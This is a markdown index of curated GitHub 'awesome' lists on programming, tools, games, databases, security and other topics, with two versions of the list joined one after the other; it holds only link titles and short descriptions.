- [Big Data](https://github.com/onurakpolat/awesome-bigdata#readme)
- [Public Datasets](https://github.com/awesomedata/awesome-public-datasets#readme)
- [Hadoop](https://github.com/youngwookim/awesome-hadoop#readme) - Framework for distributed storage and processing of very large data sets.
- [Data Engineering](https://github.com/igorbarinov/awesome-data-engineering#readme)
- [Streaming](https://github.com/manuzhang/awesome-streaming#readme)
- [Apache Spark](https://github.com/awesome-spark/awesome-spark#readme) - Unified engine for large-scale data processing.
## Theory
- [Papers We Love](https://github.com/papers-we-love/papers-we-love#readme)
- [Talks](https://github.com/JanVanRyswyck/awesome-talks#readme)
- [Algorithms](https://github.com/tayllan/awesome-algorithms#readme)
- [Algorithm Visualizations](https://github.com/enjalot/algovis#readme)
- [Artificial Intelligence](https://github.com/owainlewis/awesome-artificial-intelligence#readme)
- [Search Engine Optimization](https://github.com/marcobiedermann/search-engine-optimization#readme)
- [Competitive Programming](https://github.com/lnishan/awesome-competitive-programming#readme)
- [Math](https://github.com/rossant/awesome-math#readme)
- [Recursion Schemes](https://github.com/passy/awesome-recursion-schemes#readme) - Traversing nested data structures.
## Books
- [Free Programming Books](https://github.com/EbookFoundation/free-programming-books#readme)
- [Free Software Testing Books](https://github.com/ligurio/awesome-software-quality#readme)
- [Go Books](https://github.com/dariubs/GoBooks#readme)
- [R Books](https://github.com/RomanTsegelskyi/rbooks#readme)
- [Mind Expanding Books](https://github.com/hackerkid/Mind-Expanding-Books#readme)
- [Book Authoring](https://github.com/TalAter/awesome-book-authoring#readme)
- [Elixir Books](https://github.com/sger/ElixirBooks#readme)
## Editors
- [Sublime Text](https://github.com/dreikanter/sublime-bookmarks#readme)
- [Vim](https://github.com/mhinz/vim-galore#readme)
- [Emacs](https://github.com/emacs-tw/awesome-emacs#readme)
- [Atom](https://github.com/mehcode/awesome-atom#readme) - Open-source and hackable text editor.
- [Visual Studio Code](https://github.com/viatsko/awesome-vscode#readme) - Cross-platform open-source text editor.
## Gaming
- [Game Development](https://github.com/ellisonleao/magictools#readme)
- [Game Talks](https://github.com/hzoo/awesome-gametalks#readme)
- [Godot](https://github.com/Calinou/awesome-godot#readme) - Game engine.
- [Open Source Games](https://github.com/leereilly/games#readme)
- [Unity](https://github.com/RyanNielson/awesome-unity#readme) - Game engine.
- [Chess](https://github.com/hkirat/awesome-chess#readme)
- [LÖVE](https://github.com/love2d-community/awesome-love2d#readme) - Game engine.
- [PICO-8](https://github.com/felipebueno/awesome-PICO-8#readme) - Fantasy console.
- [Game Boy Development](https://github.com/gbdev/awesome-gbdev#readme)
- [Construct 2](https://github.com/armaldio/awesome-construct#readme) - Game engine.
- [Gideros](https://github.com/stetso/awesome-gideros#readme) - Game engine.
## Development Environment
- [Quick Look Plugins](https://github.com/sindresorhus/quick-look-plugins#readme) - For macOS.
- [Dev Env](https://github.com/jondot/awesome-devenv#readme)
- [Dotfiles](https://github.com/webpro/awesome-dotfiles#readme)
- [Shell](https://github.com/alebcay/awesome-shell#readme)
- [Fish](https://github.com/fisherman/awesome-fish-shell#readme) - User-friendly shell.
- [Command-Line Apps](https://github.com/agarrharr/awesome-cli-apps#readme)
- [ZSH Plugins](https://github.com/unixorn/awesome-zsh-plugins#readme)
- [GitHub](https://github.com/phillipadsmith/awesome-github#readme) - Hosting service for Git repositories.
- [Browser Extensions](https://github.com/stefanbuck/awesome-browser-extensions-for-github#readme)
- [Cheat Sheet](https://github.com/tiimgreen/github-cheat-sheet#readme)
- [Git Cheat Sheet & Git Flow](https://github.com/arslanbilal/git-cheat-sheet#readme)
- [Git Tips](https://github.com/git-tips/tips#readme)
- [Git Add-ons](https://github.com/stevemao/awesome-git-addons#readme) - Enhance the `git` CLI.
- [SSH](https://github.com/moul/awesome-ssh#readme)
- [FOSS for Developers](https://github.com/tvvocold/FOSS-for-Dev#readme)
- [Hyper](https://github.com/bnb/awesome-hyper#readme) - Cross-platform terminal app built on web technologies.
- [PowerShell](https://github.com/janikvonrotz/awesome-powershell#readme) - Cross-platform object-oriented shell.
- [Alfred Workflows](https://github.com/derimagia/awesome-alfred-workflows#readme) - Productivity app for macOS.
- [Terminals Are Sexy](https://github.com/k4m4/terminals-are-sexy#readme)
## Entertainment
- [Science Fiction](https://github.com/sindresorhus/awesome-scifi#readme) - Scifi.
- [Fantasy](https://github.com/RichardLitt/awesome-fantasy#readme)
- [Podcasts](https://github.com/guipdutra/awesome-geek-podcasts#readme)
- [Email Newsletters](https://github.com/vredniy/awesome-newsletters#readme)
- [IT Quotes](https://github.com/victorlaerte/awesome-it-quotes#readme)
## Databases
- [Database](https://github.com/numetriclabz/awesome-db#readme)
- [MySQL](https://github.com/shlomi-noach/awesome-mysql/blob/gh-pages/index.md)
- [SQLAlchemy](https://github.com/dahlia/awesome-sqlalchemy#readme)
- [InfluxDB](https://github.com/mark-rushakoff/awesome-influxdb#readme)
- [Neo4j](https://github.com/neueda/awesome-neo4j#readme)
- [MongoDB](https://github.com/ramnes/awesome-mongodb#readme) - NoSQL database.
- [RethinkDB](https://github.com/d3viant0ne/awesome-rethinkdb#readme)
- [TinkerPop](https://github.com/mohataher/awesome-tinkerpop#readme) - Graph computing framework.
- [PostgreSQL](https://github.com/dhamaniasad/awesome-postgres#readme) - Object-relational database.
- [CouchDB](https://github.com/quangv/awesome-couchdb#readme) - Document-oriented NoSQL database.
- [HBase](https://github.com/rayokota/awesome-hbase#readme) - Distributed, scalable, big data store.
## Media
- [Creative Commons Media](https://github.com/shime/creative-commons-media#readme)
- [Fonts](https://github.com/brabadu/awesome-fonts#readme)
- [Codeface](https://github.com/chrissimpkins/codeface#readme) - Text editor fonts.
- [Stock Resources](https://github.com/neutraltone/awesome-stock-resources#readme)
- [GIF](https://github.com/davisonio/awesome-gif#readme) - Image format known for animated images.
- [Music](https://github.com/ciconia/awesome-music#readme)
- [Open Source Documents](https://github.com/hubtee/awesome-opensource-documents#readme)
- [Audio Visualization](https://github.com/willianjusten/awesome-audio-visualization#readme)
- [Broadcasting](https://github.com/ebu/awesome-broadcasting#readme)
- [Pixel Art](https://github.com/Siilwyn/awesome-pixel-art#readme) - Pixel-level digital art.
- [FFmpeg](https://github.com/transitive-bullshit/awesome-ffmpeg#readme) - Cross-platform solution to record, convert and stream audio and video.
## Learn
- [CLI Workshoppers](https://github.com/therebelrobot/awesome-workshopper#readme) - Interactive tutorials.
- [Learn to Program](https://github.com/karlhorky/learn-to-program#readme)
- [Speaking](https://github.com/matteofigus/awesome-speaking#readme)
- [Tech Videos](https://github.com/lucasviola/awesome-tech-videos#readme)
- [Dive into Machine Learning](https://github.com/hangtwenty/dive-into-machine-learning#readme)
- [Computer History](https://github.com/watson/awesome-computer-history#readme)
- [Programming for Kids](https://github.com/HollyAdele/awesome-programming-for-kids#readme)
- [Educational Games](https://github.com/yrgo/awesome-eg#readme) - Learn while playing.
- [JavaScript Learning](https://github.com/micromata/awesome-javascript-learning#readme)
## Security
- [Application Security](https://github.com/paragonie/awesome-appsec#readme)
- [Security](https://github.com/sbilly/awesome-security#readme)
- [CTF](https://github.com/apsdehal/awesome-ctf#readme) - Capture The Flag.
- [Malware Analysis](https://github.com/rshipp/awesome-malware-analysis#readme)
- [Android Security](https://github.com/ashishb/android-security-awesome#readme)
- [Hacking](https://github.com/carpedm20/awesome-hacking#readme)
- [Honeypots](https://github.com/paralax/awesome-honeypots#readme) - Deception trap, designed to entice an attacker into attempting to compromise the information systems in an organization.
- [Incident Response](https://github.com/meirwah/awesome-incident-response#readme)
- [Vehicle Security and Car Hacking](https://github.com/jaredthecoder/awesome-vehicle-security#readme)
- [Web Security](https://github.com/qazbnm456/awesome-web-security#readme) - Security of web apps & services.
- [Lockpicking](https://github.com/meitar/awesome-lockpicking#readme) - The art of unlocking a lock by manipulating its components without the key.
## Content Management Systems
- [Umbraco](https://github.com/umbraco-community/awesome-umbraco#readme)
- [Refinery CMS](https://github.com/refinerycms-contrib/awesome-refinerycms#readme) - Ruby on Rails CMS.
- [Wagtail](https://github.com/springload/awesome-wagtail#readme) - Django CMS focused on flexibility and user experience.
- [Textpattern](https://github.com/drmonkeyninja/awesome-textpattern#readme) - Lightweight PHP-based CMS.
- [Drupal](https://github.com/nirgn975/awesome-drupal#readme) - Extensible PHP-based CMS.
- [Craft CMS](https://github.com/craftcms/awesome#readme) - Content-first CMS.
## Hardware
- [Robotics](https://github.com/Kiloreux/awesome-robotics#readme)
- [Internet of Things](https://github.com/HQarroum/awesome-iot#readme)
- [Electronics](https://github.com/monostable/awesome-electronics#readme) - For electronic engineers and hobbyists.
- [Bluetooth Beacons](https://github.com/beaconinside/awesome-beacon#readme)
- [Electric Guitar Specifications](https://github.com/gitfrage/guitarspecs#readme) - Checklist for building your own electric guitar.
## Business
- [Open Companies](https://github.com/opencompany/awesome-open-company#readme)
- [Places to Post Your Startup](https://github.com/mmccaff/PlacesToPostYourStartup#readme)
- [OKR Methodology](https://github.com/domenicosolazzo/awesome-okr#readme) - Goal setting & communication best practices.
- [Leading and Managing](https://github.com/LappleApple/awesome-leading-and-managing#readme) - Leading people and being a manager in a technology company/environment.
- [Indie](https://github.com/mezod/awesome-indie#readme) - Independent developer businesses.
## Work
- [Slack](https://github.com/matiassingers/awesome-slack#readme) - Team collaboration.
- [Communities](https://github.com/filipelinhares/awesome-slack#readme)
- [Remote Jobs](https://github.com/lukasz-madon/awesome-remote-job#readme)
- [Productivity](https://github.com/jyguyomarch/awesome-productivity#readme)
- [Niche Job Boards](https://github.com/tramcar/awesome-job-boards#readme)
- [Programming Interviews](https://github.com/MaximAbramchuck/awesome-interview-questions#readme)
- [Code Review](https://github.com/joho/awesome-code-review#readme) - Reviewing code.
## Networking
- [Software-Defined Networking](https://github.com/sdnds-tw/awesome-sdn#readme)
- [Network Analysis](https://github.com/briatte/awesome-network-analysis#readme)
- [PCAPTools](https://github.com/caesar0301/awesome-pcaptools#readme)
## Decentralized Systems
- [Bitcoin](https://github.com/igorbarinov/awesome-bitcoin#readme) - Bitcoin services and tools for software developers.
- [Ripple](https://github.com/vhpoet/awesome-ripple#readme) - Open source distributed settlement network.
- [Non-Financial Blockchain](https://github.com/machinomy/awesome-non-financial-blockchain#readme) - Non-financial blockchain applications.
- [Mastodon](https://github.com/tleb/awesome-mastodon#readme) - Open source decentralized microblogging network.
## Miscellaneous
- [JSON](https://github.com/burningtree/awesome-json#readme) - Text based data interchange format.
- [GeoJSON](https://github.com/tmcw/awesome-geojson#readme)
- [Datasets](https://github.com/jdorfman/awesome-json-datasets#readme)
- [Discounts for Student Developers](https://github.com/AchoArnold/discount-for-student-dev#readme)
- [Sysadmin](https://github.com/n1trux/awesome-sysadmin#readme)
- [Radio](https://github.com/kyleterry/awesome-radio#readme)
- [Awesome](https://github.com/sindresorhus/awesome#readme) - Recursion illustrated.
- [Analytics](https://github.com/onurakpolat/awesome-analytics#readme)
- [REST](https://github.com/marmelab/awesome-rest#readme)
- [Selenium](https://github.com/christian-bromann/awesome-selenium#readme)
- [Appium](https://github.com/SrinivasanTarget/awesome-appium#readme) - Test automation tool for apps.
- [Continuous Integration and Continuous Delivery](https://github.com/ciandcd/awesome-ciandcd#readme)
- [Services Engineering](https://github.com/mmcgrana/services-engineering#readme)
- [Free for Developers](https://github.com/ripienaar/free-for-dev#readme)
- [Answers](https://github.com/cyberglot/awesome-answers#readme) - Stack Overflow, Quora, etc.
- [Sketch](https://github.com/diessica/awesome-sketch#readme) - Design app for macOS.
- [Boilerplate Projects](https://github.com/melvin0008/awesome-projects-boilerplates#readme)
- [Readme](https://github.com/matiassingers/awesome-readme#readme)
- [Tools](https://github.com/cjbarber/ToolsOfTheTrade#readme)
- [Styleguides](https://github.com/RichardLitt/awesome-styleguides#readme)
- [Design and Development Guides](https://github.com/NARKOZ/guides#readme)
- [Software Engineering Blogs](https://github.com/kilimchoi/engineering-blogs#readme)
- [Self Hosted](https://github.com/Kickball/awesome-selfhosted#readme)
- [FOSS Production Apps](https://github.com/jwaterfaucett/awesome-foss-apps#readme)
- [Gulp](https://github.com/alferov/awesome-gulp#readme) - Task runner.
- [AMA](https://github.com/sindresorhus/amas#readme) - Ask Me Anything.
- [Answers](https://github.com/stoeffel/awesome-ama-answers#readme)
- [Open Source Photography](https://github.com/ibaaj/awesome-OpenSourcePhotography#readme)
- [OpenGL](https://github.com/eug/awesome-opengl#readme) - Cross-platform API for rendering 2D and 3D graphics.
- [GraphQL](https://github.com/chentsulin/awesome-graphql#readme)
- [Transit](https://github.com/CUTR-at-USF/awesome-transit#readme)
- [Research Tools](https://github.com/emptymalei/awesome-research#readme)
- [Data Visualization](https://github.com/fasouto/awesome-dataviz#readme)
- [Social Media Share Links](https://github.com/vinkla/shareable-links#readme)
- [Microservices](https://github.com/mfornos/awesome-microservices#readme)
- [Unicode](https://github.com/jagracey/Awesome-Unicode#readme) - Unicode standards, quirks, packages and resources.
- [Code Points](https://github.com/Codepoints/awesome-codepoints#readme)
- [Beginner-Friendly Projects](https://github.com/MunGell/awesome-for-beginners#readme)
- [Katas](https://github.com/gamontal/awesome-katas#readme)
- [Tools for Activism](https://github.com/drewrwilson/toolsforactivism#readme)
- [Citizen Science](https://github.com/dylanrees/citizen-science#readme) - For community-based and non-institutional scientists.
- [TAP](https://github.com/sindresorhus/awesome-tap#readme) - Test Anything Protocol.
- [MQTT](https://github.com/hobbyquaker/awesome-mqtt#readme) - "Internet of Things" connectivity protocol.
- [Hacking Spots](https://github.com/diasdavid/awesome-hacking-spots#readme)
- [For Girls](https://github.com/cristianoliveira/awesome4girls#readme)
- [Vorpal](https://github.com/vorpaljs/awesome-vorpal#readme) - Node.js CLI framework.
- [Vulkan](https://github.com/vinjn/awesome-vulkan#readme) - Low-overhead, cross-platform 3D graphics and compute API.
- [LaTeX](https://github.com/egeerardyn/awesome-LaTeX#readme) - Typesetting language.
- [Economics](https://github.com/antontarasenko/awesome-economics#readme) - An economist's starter kit.
- [Funny Markov Chains](https://github.com/sublimino/awesome-funny-markov#readme)
- [Bioinformatics](https://github.com/danielecook/Awesome-Bioinformatics#readme)
- [Colorful](https://github.com/Siddharth11/Colorful#readme) - Choose your next color scheme.
- [Steam](https://github.com/scholtzm/awesome-steam#readme) - Digital distribution platform.
- [Bots](https://github.com/hackerkid/bots#readme) - Building bots.
- [Site Reliability Engineering](https://github.com/dastergon/awesome-sre#readme)
- [Empathy in Engineering](https://github.com/KimberlyMunoz/empathy-in-engineering#readme) - Building and promoting more compassionate engineering cultures.
- [DTrace](https://github.com/xen0l/awesome-dtrace#readme) - Dynamic tracing framework.
- [Userscripts](https://github.com/brunocvcunha/awesome-userscripts#readme) - Enhance your browsing experience.
- [Pokémon](https://github.com/tobiasbueschel/awesome-pokemon#readme) - Pokémon and Pokémon GO.
- [ChatOps](https://github.com/exAspArk/awesome-chatops#readme) - Managing technical and business operations through a chat.
- [Falsehood](https://github.com/kdeldycke/awesome-falsehood#readme) - Falsehoods programmers believe in.
- [Domain-Driven Design](https://github.com/heynickc/awesome-ddd#readme) - Software development approach for complex needs by connecting the implementation to an evolving model.
- [Quantified Self](https://github.com/woop/awesome-quantified-self#readme) - Self-tracking through technology.
- [SaltStack](https://github.com/hbokh/awesome-saltstack#readme) - Python-based config management system.
- [Web Design](https://github.com/nicolesaidy/awesome-web-design#readme) - For digital designers.
- [JMeter](https://github.com/aliesbelik/awesome-jmeter#readme) - Load testing and performance measurement tool.
- [Creative Coding](https://github.com/terkelg/awesome-creative-coding#readme) - Programming something expressive instead of something functional.
- [No-Login Web Apps](https://github.com/aviaryan/awesome-no-login-web-apps#readme) - Web apps that work without login.
- [Testing](https://github.com/TheJambo/awesome-testing#readme) - Software testing.
- [Free Software](https://github.com/johnjago/awesome-free-software#readme) - Free as in freedom.
- [Framer](https://github.com/podo/awesome-framer#readme) - Prototyping interactive UI designs.
- [Markdown](https://github.com/BubuAnabelas/awesome-markdown#readme) - Markup language.
- [Dev Fun](https://github.com/mislavcimpersak/awesome-dev-fun#readme) - Funny developer projects.
- [Events in the Netherlands](https://github.com/awkward/awesome-netherlands-events#readme) - Tech-related events in the Netherlands.
- [Healthcare](https://github.com/kakoni/awesome-healthcare#readme) - Open source healthcare software for facilities, providers, developers, policy experts, and researchers.
- [Magento 2](https://github.com/DavidLambauer/awesome-magento2#readme) - Open Source eCommerce built with PHP.
- [TikZ](https://github.com/xiaohanyu/awesome-tikz#readme) - Graph drawing packages for TeX/LaTeX/ConTeXt.
- [Neuroscience](https://github.com/analyticalmonk/awesome-neuroscience#readme) - Study of the nervous system and brain.
- [Ad-Free](https://github.com/johnjago/awesome-ad-free#readme) - Ad-free alternatives.
- [Esolangs](https://github.com/angrykoala/awesome-esolangs#readme) - Programming languages designed for experimentation or as jokes rather than actual use.
- [Prometheus](https://github.com/roaldnefs/awesome-prometheus#readme) - Open-source monitoring system.
- [Homematic](https://github.com/hobbyquaker/awesome-homematic#readme) - Smart home devices.
- [Ledger](https://github.com/sfischer13/awesome-ledger#readme) - Double-entry accounting on the command-line.
- [Uncopyright](https://github.com/johnjago/awesome-uncopyright#readme) - Public domain works.
- [Crypto Currency Tools & Algorithms](https://github.com/kennethreitz/awesome-coins#readme) - Digital currency where encryption is used to regulate the generation of units and verify transfers.
- [Diversity](https://github.com/folkswhocode/awesome-diversity#readme) - Creating a more inclusive and diverse tech community.
- [Open Source Supporters](https://github.com/zachflower/awesome-open-source-supporters#readme) - Companies that offer their tools and services for free to open source projects.
- [Design Principles](https://github.com/robinstickel/awesome-design-principles#readme) - Create better and more consistent designs and experiences.
- [Visual Regression Testing](https://github.com/mojoaxel/awesome-regression-testing#readme) - Ensures changes did not break the functionality or style.
- [Theravada](https://github.com/johnjago/awesome-theravada#readme) - Teachings from the Theravada Buddhist tradition.
- [inspectIT](https://github.com/inspectit-labs/awesome-inspectit#readme) - Open source Java app performance management tool.
- [Open Source Maintainers](https://github.com/nayafia/awesome-maintainers#readme) - The experience of being an open source maintainer.
- [Calculators](https://github.com/xxczaki/awesome-calculators#readme) - Calculators for every platform.
- [Captcha](https://github.com/ZYSzys/awesome-captcha#readme) - A type of challenge–response test used in computing to determine whether or not the user is human.
- [Jupyter](https://github.com/markusschanta/awesome-jupyter#readme) - Create and share documents that contain code, equations, visualizations and narrative text.
- [FIRST Robotics Competition](https://github.com/andrewda/awesome-frc#readme) - International high school robotics championship.
- [Humane Technology](https://github.com/humanetech-community/awesome-humane-tech#readme) - Open source projects that help improve society.
- [Speakers](https://github.com/karlhorky/awesome-speakers#readme) - Conference and meetup speakers in the programming and design community.
- [Software Patreons](https://github.com/uraimo/awesome-software-patreons#readme) - Fund individual programmers or the development of open source projects.
## License
[](https://creativecommons.org/publicdomain/zero/1.0/)
To the extent possible under law, [Sindre Sorhus](https://sindresorhus.com) has waived all copyright and related or neighboring rights to this work.
|
<h1 align="center">
<br>
<img width="400" src="https://rawgit.com/sindresorhus/awesome/master/media/logo.svg" alt="awesome">
<br>
<br>
<br>
</h1>
> A curated list of awesome lists
[What makes for an awesome list?](awesome.md)
Please read the [contribution guidelines](contributing.md) or the [creating a list guide](create-list.md) if you want to contribute.
**Check out my [blog](https://blog.sindresorhus.com) 🦄 or say *hi* on [Twitter](https://twitter.com/sindresorhus).**
## Table of Contents
- [Platforms](#platforms)
- [Programming Languages](#programming-languages)
- [Front-end Development](#front-end-development)
- [Back-end Development](#back-end-development)
- [Computer Science](#computer-science)
- [Big Data](#big-data)
- [Theory](#theory)
- [Books](#books)
- [Editors](#editors)
- [Gaming](#gaming)
- [Development Environment](#development-environment)
- [Entertainment](#entertainment)
- [Databases](#databases)
- [Resources](#resources)
- [Learn](#learn)
- [Security](#security)
- [Miscellaneous](#miscellaneous)
## Platforms
- [Node.js](https://github.com/sindresorhus/awesome-nodejs)
- [Frontend Development](https://github.com/dypsilon/frontend-dev-bookmarks)
- [iOS](https://github.com/vsouza/awesome-ios)
- [Android](https://github.com/JStumpp/awesome-android)
- [IoT & Hybrid Apps](https://github.com/weblancaster/awesome-IoT-hybrid)
- [Electron](https://github.com/sindresorhus/awesome-electron)
- [Cordova](https://github.com/busterc/awesome-cordova)
- [React Native](https://github.com/jondot/awesome-react-native)
- [Xamarin](https://github.com/benoitjadinon/awesome-xamarin)
- [Linux](https://github.com/aleksandar-todorovic/awesome-linux)
- [OS X](https://github.com/iCHAIT/awesome-osx)
- [Command-Line](https://github.com/herrbischoff/awesome-osx-command-line)
- [Screensavers](https://github.com/aharris88/awesome-osx-screensavers)
- [watchOS](https://github.com/yenchenlin1994/awesome-watchos)
- [JVM](https://github.com/deephacks/awesome-jvm)
- [Salesforce](https://github.com/mailtoharshit/awesome-salesforce)
- [Amazon Web Services](https://github.com/donnemartin/awesome-aws)
- [Windows](https://github.com/RiseLedger/awesome-windows)
- [IPFS](https://github.com/ipfs/awesome-ipfs)
## Programming Languages
- [JavaScript](https://github.com/sorrycc/awesome-javascript)
- [Promises](https://github.com/wbinnssmith/awesome-promises)
- [Swift](https://github.com/matteocrippa/awesome-swift)
- [Python](https://github.com/vinta/awesome-python)
- [Rust](https://github.com/kud1ing/awesome-rust)
- [Haskell](https://github.com/krispo/awesome-haskell)
- [PureScript](https://github.com/passy/awesome-purescript)
- [Go](https://github.com/avelino/awesome-go)
- [Scala](https://github.com/lauris/awesome-scala)
- [Ruby](https://github.com/markets/awesome-ruby)
- [Ruby Events](https://github.com/planetruby/awesome-events) *(Conferences, Meetups, etc.)*
- [Clojure](https://github.com/razum2um/awesome-clojure)
- [ClojureScript](https://github.com/emrehan/awesome-clojurescript)
- [Elixir](https://github.com/h4cc/awesome-elixir)
- [Elm](https://github.com/isRuslan/awesome-elm)
- [Erlang](https://github.com/drobakowski/awesome-erlang)
- [Julia](https://github.com/svaksha/Julia.jl)
- [Lua](https://github.com/LewisJEllis/awesome-lua)
- [C](https://github.com/aleksandar-todorovic/awesome-c)
- [C/C++](https://github.com/fffaraz/awesome-cpp)
- [R](https://github.com/qinwf/awesome-R)
- [D](https://github.com/zhaopuming/awesome-d)
- [Common Lisp](https://github.com/CodyReichert/awesome-cl)
- [Perl](https://github.com/hachiojipm/awesome-perl)
- [Groovy](https://github.com/kdabir/awesome-groovy)
- [Dart](https://github.com/yissachar/awesome-dart)
- [Java](https://github.com/akullpp/awesome-java)
- [OCaml](https://github.com/rizo/awesome-ocaml)
- [Coldfusion](https://github.com/seancoyne/awesome-coldfusion)
- [Fortran](https://github.com/rabbiabram/awesome-fortran)
- [.NET](https://github.com/quozd/awesome-dotnet)
- [PHP](https://github.com/ziadoz/awesome-php)
- [Delphi](https://github.com/Fr0sT-Brutal/awesome-delphi)
- [Assembler](https://github.com/mat0thew/awesome-asm)
- [AutoHotkey](https://github.com/ahkscript/awesome-AutoHotkey)
- [AutoIt](https://github.com/J2TeaM/awesome-AutoIt)
- [Crystal](https://github.com/veelenga/awesome-crystal)
- [TypeScript](https://github.com/dzharii/awesome-typescript)
## Front-end Development
- [JavaScript Must Watch Talks](https://github.com/bolshchikov/js-must-watch)
- [ES6 Tools](https://github.com/addyosmani/es6-tools)
- [Web Performance Optimization](https://github.com/davidsonfellipe/awesome-wpo)
- [Web Tools](https://github.com/lvwzhen/tools)
- [Critical-Path (Above-the-fold) CSS Tools](https://github.com/addyosmani/critical-path-css-tools)
- [React](https://github.com/enaqx/awesome-react)
- [Web Components](https://github.com/mateusortiz/webcomponents-the-right-way)
- [Polymer](https://github.com/Granze/awesome-polymer)
- [Angular 2](https://github.com/AngularClass/awesome-angular2)
- [Angular](https://github.com/gianarb/awesome-angularjs)
- [Backbone](https://github.com/sadcitizen/awesome-backbone)
- [HTML5](https://github.com/diegocard/awesome-html5)
- [SVG](https://github.com/willianjusten/awesome-svg)
- [Canvas](https://github.com/raphamorim/awesome-canvas)
- [KnockoutJS](https://github.com/dnbard/awesome-knockout)
- [Dojo Toolkit](https://github.com/peterkokot/awesome-dojo)
- [Inspiration](https://github.com/NoahBuscher/Inspire)
- [Ember](https://github.com/nmec/awesome-ember)
- [Android UI](https://github.com/wasabeef/awesome-android-ui)
- [iOS UI](https://github.com/cjwirth/awesome-ios-ui)
- [Scalable CSS](https://github.com/davidtheclark/scalable-css-reading-list)
- [Meteor](https://github.com/Urigo/awesome-meteor)
- [BEM](https://github.com/sturobson/BEM-resources)
- [CSS Must-Watch Talks](https://github.com/AllThingsSmitty/must-watch-css)
- [Flexbox](https://github.com/afonsopacifer/awesome-flexbox)
- [Web Typography](https://github.com/deanhume/typography)
- [Web Accessibility](https://github.com/brunopulis/awesome-a11y)
- [Material Design](https://github.com/sachin1092/awesome-material)
- [CSS](https://github.com/sotayamashita/awesome-css)
- [D3](https://github.com/wbkd/awesome-d3)
- [Emails](https://github.com/jonathandion/awesome-emails)
- [jQuery](https://github.com/peterkokot/awesome-jquery)
- [Web Audio](https://github.com/notthetup/awesome-webaudio)
- [Offline-First](https://github.com/pazguille/offline-first)
## Back-end Development
- [Django](https://github.com/rosarior/awesome-django)
- [Flask](https://github.com/humiaozuzu/awesome-flask)
- [Docker](https://github.com/veggiemonk/awesome-docker)
- [Vagrant](https://github.com/iJackUA/awesome-vagrant)
- [Pyramid](https://github.com/ITCase/awesome-pyramid)
- [Play1 Framework](https://github.com/PerfectCarl/awesome-play1)
- [CakePHP](https://github.com/friendsofcake/awesome-cakephp)
- [Symfony2](https://github.com/EmanueleMinotto/awesome-symfony2)
- [Laravel](https://github.com/chiraggude/awesome-laravel)
- [Rails](https://github.com/ekremkaraca/awesome-rails)
- [Rails Gem](https://github.com/hothero/awesome-rails-gem)
- [Phalcon](https://github.com/sergeyklay/awesome-phalcon)
- [Useful `.htaccess` Snippets](https://github.com/phanan/htaccess)
- [nginx](https://github.com/fcambus/nginx-resources)
- [Dropwizard](https://github.com/stve/awesome-dropwizard)
- [Kubernetes](https://github.com/ramitsurana/awesome-kubernetes)
## Computer Science
- [University Courses](https://github.com/prakhar1989/awesome-courses)
- [Data Science](https://github.com/okulbilisim/awesome-datascience)
- [Machine Learning](https://github.com/josephmisiti/awesome-machine-learning)
- [Speech and Natural Language Processing](https://github.com/edobashira/speech-language-processing)
- [Linguistics](https://github.com/theimpossibleastronaut/awesome-linguistics)
- [Cryptography](https://github.com/MaciejCzyzewski/retter)
- [Computer Vision](https://github.com/jbhuang0604/awesome-computer-vision)
- [Deep Learning](https://github.com/ChristosChristofidis/awesome-deep-learning) *(Neural networks)*
- [Deep Vision](https://github.com/kjw0612/awesome-deep-vision)
- [Open Source Society University](https://github.com/open-source-society/computer-science)
## Big Data
- [Big Data](https://github.com/onurakpolat/awesome-bigdata)
- [Public Datasets](https://github.com/caesar0301/awesome-public-datasets)
- [Hadoop](https://github.com/youngwookim/awesome-hadoop)
- [Data Engineering](https://github.com/igorbarinov/awesome-data-engineering)
## Theory
- [Papers We Love](https://github.com/papers-we-love/papers-we-love)
- [Talks](https://github.com/JanVanRyswyck/awesome-talks)
- [Algorithms](https://github.com/tayllan/awesome-algorithms)
- [Algorithm Visualizations](https://github.com/enjalot/algovis)
- [Artificial Intelligence](https://github.com/owainlewis/awesome-artificial-intelligence)
- [Search Engine Optimization](https://github.com/marcobiedermann/search-engine-optimization)
## Books
- [Free Programming Books](https://github.com/vhf/free-programming-books)
- [Free Software Testing Books](https://github.com/ligurio/free-software-testing-books/blob/master/free-software-testing-books.md)
- [Go Books](https://github.com/dariubs/GoBooks)
- [R Books](https://github.com/RomanTsegelskyi/rbooks)
- [Mind Expanding Books](https://github.com/hackerkid/Mind-Expanding-Books)
## Editors
- [Sublime Text](https://github.com/dreikanter/sublime-bookmarks)
- [Vim](http://vimawesome.com)
- [Emacs](https://github.com/emacs-tw/awesome-emacs)
- [Atom](https://github.com/mehcode/awesome-atom)
## Gaming
- [Game Development](https://github.com/ellisonleao/magictools)
- [Game Talks](https://github.com/hzoo/awesome-gametalks)
- [Godot](https://github.com/Calinou/awesome-godot) *(Game engine)*
- [Open Source Games](https://github.com/leereilly/games)
## Development Environment
- [Quick Look Plugins](https://github.com/sindresorhus/quick-look-plugins)
- [Dev Env](https://github.com/jondot/awesome-devenv)
- [Dotfiles](https://github.com/webpro/awesome-dotfiles)
- [Shell](https://github.com/alebcay/awesome-shell)
- [ZSH Plugins](https://github.com/unixorn/awesome-zsh-plugins)
- [Browser Extensions for GitHub](https://github.com/stefanbuck/awesome-browser-extensions-for-github)
- [Git Cheat Sheet](https://github.com/arslanbilal/git-cheat-sheet)
- [Git Tips](https://github.com/git-tips/tips)
- [Git Add-ons](https://github.com/stevemao/awesome-git-addons)
## Entertainment
- [Science Fiction](https://github.com/sindresorhus/awesome-scifi) *(Scifi)*
- [Fantasy](https://github.com/RichardLitt/awesome-fantasy)
- [Podcasts](https://github.com/guipdutra/awesome-geek-podcasts)
- [Email Newsletters](https://github.com/vredniy/awesome-newsletters)
## Databases
- [Database](https://github.com/numetriclabz/awesome-db)
- [MySQL](https://github.com/shlomi-noach/awesome-mysql/blob/gh-pages/index.md)
- [SQLAlchemy](https://github.com/dahlia/awesome-sqlalchemy)
- [InfluxDB](https://github.com/mark-rushakoff/awesome-influxdb)
- [Neo4j](https://github.com/GraphGeeks/awesome-neo4j)
## Resources
- [Creative Commons Media](https://github.com/shime/creative-commons-media)
- [Images](https://github.com/heyalexej/awesome-images)
- [Fonts](https://github.com/brabadu/awesome-fonts)
- [Codeface](https://github.com/chrissimpkins/codeface) *(Text editor fonts)*
## Learn
- [CLI Workshoppers/Adventures](https://github.com/therebelrobot/awesome-workshopper)
- [Learn to Program](https://github.com/karlhorky/learn-to-program)
- [Speaking](https://github.com/matteofigus/awesome-speaking)
- [Tech Videos](https://github.com/lucasviola/awesome-tech-videos)
- [Dive into Machine Learning](https://github.com/hangtwenty/dive-into-machine-learning)
## Security
